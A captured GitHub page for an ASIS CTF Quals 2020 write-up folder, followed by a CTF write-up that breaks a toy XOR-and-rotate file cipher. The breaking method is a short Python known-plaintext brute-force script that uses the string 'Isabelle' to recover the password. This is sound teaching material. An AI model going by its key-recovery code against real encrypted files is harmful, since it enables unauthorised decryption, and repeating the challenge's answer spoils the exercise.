aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/ASIS%20CTF%20QUALS%202020","user_id":null}}" data-hydro-click-hmac="65b1085c611433f0c506e5e0d5d2b322dd50780fcce604a8ea6662efa11c663c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span>ASIS CTF QUALS 2020<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span>ASIS CTF QUALS 2020<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/ASIS%20CTF%20QUALS%202020" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/ASIS%20CTF%20QUALS%202020"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ€Š.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโ€™t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
## Description Isabelle wanted to password-protect her files, but there wasn't any room in the budget for BitLocker! So she made her own program. But now she lost her password and can't decrypt one of her super important files! Can you help her out? ## Included Files blackmail_encryptedsuper_secret_encryption.py ## Writeup The included files for this challenge are a file that has apparently been encrypted using the also included Python script. In the script there is an encryption function and its corresponding decryption function. Immediately striking is that the encryption function requires that the password be exactly 8 characters long, only alphabetic characters, and that the file is going to contain the exact string "Isabelle". That already greately reduces the possibilities, and makes cracking the password simpler by several orders of magnitude. The next key to solving this challenge is knowing that every byte in the file to be encrypted will get processed against a single character in the password in order, so the file is encrypted in blocks of 8 characters. It's actually pretty unimportant what the method of encryption they use is since we're also given a decryption method, except for maybe just to understand that the same input with the same password will always give the same output that can be decrypted in kind. However, just for anyone wondering, it takes a character from the message to be encrypted, moves the bit at the end of that byte to the beginning, and then xors that against a character in the password. It would be necessary to understand that if we weren't given a decryption function, but since we were we only need to copy-paste what they've given us. def super_secret_encryption(file_name, password): with open(file_name, "rb") as f: plaintext = f.read() assert(len(password) == 8) # I heard 8 character long passwords are super strong! assert(password.decode("utf-8").isalpha()) # The numbers on my keyboard don't work... assert(b"Isabelle" in plaintext) # Only encrypt files Isabelle has been mentioned in add_spice = lambda b: 0xff & ((b << 1) | (b >> 7)) ciphertext = bytearray(add_spice(c) ^ password[i % len(password)] for i, c in enumerate(plaintext)) with open(file_name + "_encrypted", "wb") as f: f.write(ciphertext) With the given knowledge in mind, I knew I could get a list of possible passwords through brute force by decrypting all the substrings in the given encrypted file and looking for the string "Isabelle". Without the known restrictions the time taken for this task would've balloooned very quickly, but we only needed to check substrings of length 8, and there were only 52 possibilities for each character of the password, pretty manageable. fd = open('blackmail_encrypted', 'rb') search_str = "Isabelle" alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7)) line = fd.read() for i in range(len(line)-8): poss_key = "" for j,c in enumerate(line[i:i+8]): for curr in alpha: if chr(remove_spice(c ^ ord(curr))) == search_str[j]: poss_key = poss_key + curr if len(poss_key) == 8: print(poss_key) And here's what I got out, which was actually a lot less than I expected. ![possibles](possibles.png) This is where knowing that the encryption works in 8 character blocks comes in handy. If you just started taking these and plugging them in to see which one would decrypt the file successfully, you'd be amiss. You have to remember that the encryption merely checks if the string "Isabelle" exists in the file, there's no guarantee that it will start at the beginning of an 8 character block. When it decrypts it might start decrypting in the middle of the password and wrap around it. And looking at the possible passwords it's easy to see that several of them form a recognizable pattern that leads you to safely assume they are just shifted versions of "iSaBelLE". Passing that through the decryption function gives you a file that, at first glimpse, looks to be a JPEG, but doing a search for the flag prefix will save some headache since the flag is in the file as text. ![flag](flag.png)
